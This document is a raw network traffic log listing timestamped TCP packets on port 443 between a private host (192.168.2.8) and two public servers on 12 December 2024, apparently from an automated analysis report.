Dec 12, 2024 16:47:35.381702900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.390085936 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.390105963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.390161991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.390518904 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:35.405070066 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:35.729095936 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.734524012 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.734534979 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.734618902 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.734926939 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:35.745985985 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:36.066417933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.083061934 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.083086967 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.083132029 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.084125996 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:36.091716051 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:36.409121037 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.415597916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.415715933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.415728092 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.415935040 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:36.423660040 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:36.740638971 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.756594896 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.756609917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.756669044 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:36.756977081 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:36.768229961 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:37.082847118 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.091350079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.091367006 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.091372013 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.093251944 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:37.105066061 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:37.422744989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.430282116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.430293083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.430305004 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.430918932 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:37.441734076 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:37.756328106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.761395931 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.761651039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.761662006 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:37.761708021 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:37.768497944 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.083070993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.088120937 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.088171005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.088232994 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.088526011 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.096066952 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.411278009 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.416596889 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.416721106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.416802883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.416930914 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.424701929 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.739377022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.744935989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.744959116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.745052099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:38.747415066 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:38.769131899 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:39.092032909 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.102123022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.102242947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.102330923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.102502108 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:39.112695932 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:39.427267075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.432327986 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.432338953 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.432349920 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.432588100 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:39.438855886 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:39.755063057 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.760083914 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.760116100 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.760190964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:39.760601997 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:39.771823883 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.086859941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.092063904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.092076063 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.092088938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.092475891 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.100038052 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.415220022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.420279026 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.420485020 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.420489073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.421287060 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.453461885 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.465980053 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.608741045 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.610440969 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.611701012 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.612345934 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.612787962 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.612910032 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:40.765355110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.788115978 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.800724030 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.801084995 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.801134109 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:40.801414967 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.823708057 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:40.925396919 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:40.925417900 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:40.926729918 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:40.926846027 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:40.937691927 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:41.141990900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.151125908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.161637068 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.161648989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.161664963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.205091000 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:41.232383013 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:41.235475063 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:41.549643993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.554101944 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.576764107 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.576775074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.576853037 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.577323914 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:41.593965054 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:41.697376013 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:41.698208094 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:41.735572100 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:41.913872957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.942737103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.942811966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.942842960 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:41.943341970 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:41.950795889 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:42.012211084 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.012217045 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.012221098 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.012224913 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.012754917 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:42.012907982 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:42.271828890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.297383070 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.297394991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.297501087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.298449993 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:42.307703972 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:42.327193975 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.327497959 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:42.548064947 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:42.548064947 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:42.563855886 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:42.622782946 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.628969908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.629029989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.629316092 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:42.629496098 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:42.640342951 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:42.643491983 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.644047976 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.644367933 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:42.644557953 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:43.116774082 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:43.116787910 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:43.116995096 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.117031097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.117043018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.117054939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.117217064 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:43.117686033 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:43.127094984 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:43.376816988 CET	443	62763	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:43.408366919 CET	62763	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:43.445580959 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.455024958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.455061913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.455153942 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.456008911 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:43.476466894 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:43.791011095 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.795828104 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.795841932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.795957088 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:43.814702034 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:43.839884996 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:43.840809107 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:44.159570932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.159746885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.186841011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.186856031 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.186991930 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.187300920 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:44.194542885 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:44.509048939 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.515361071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.515373945 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.515384912 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.515749931 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:44.523113012 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:44.837905884 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.842998981 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.843255043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.843264103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:44.846534967 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:44.864113092 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:45.181920052 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.194076061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.194087982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.194165945 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.194571018 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:45.201617002 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:45.519696951 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.524743080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.524763107 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.524774075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.525722980 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:45.539192915 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:45.854063034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.858649015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.858654976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.858664989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:45.859134912 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:45.872982979 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:46.188323021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.194439888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.194444895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.194458008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.194808960 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:46.201236963 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:46.515882015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.520960093 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.520965099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.521025896 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.521316051 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:46.528749943 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:46.843296051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.848423958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.848468065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.848706007 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:46.848709106 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:46.856173992 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:47.171015024 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.176013947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.176040888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.176062107 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.176808119 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:47.193001986 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:47.507778883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.513046980 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.513106108 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.513226032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.513415098 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:47.520046949 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:47.834537983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.840075970 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.840094090 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.840217113 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.840230942 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:47.840564966 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:47.848762989 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:48.163182020 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.168462038 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.168536901 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.168544054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.169043064 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:48.177867889 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:48.494965076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.512118101 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.512136936 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.512171030 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.513544083 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:48.526582003 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:48.841295958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.846335888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.846354008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.846369028 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:48.846812010 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:48.854089022 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.172321081 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.178024054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.178055048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.178165913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.178431988 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.194217920 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.511379004 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.516953945 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.516988039 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.517021894 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.518476009 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.548504114 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.552156925 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.860064030 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.870894909 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.890746117 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.890779972 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.890819073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:49.891304970 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:49.900723934 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:50.219698906 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.224900961 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.225383997 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.225394964 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.229469061 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:50.237837076 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:50.552182913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.562268019 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.562282085 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.562345982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.567624092 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:50.578118086 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:50.907002926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.920238972 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.920300007 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.920335054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:50.920604944 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:50.930063009 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.284650087 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.314109087 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.321929932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.321969032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.322061062 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.322371006 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.329884052 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.645749092 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.660717010 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.660768986 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.660779953 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.661195993 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.668637991 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.983212948 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.989012957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.989025116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.989145041 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:51.989409924 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:51.996638060 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:52.315366030 CET	443	51057	23.44.203.13	192.168.2.8
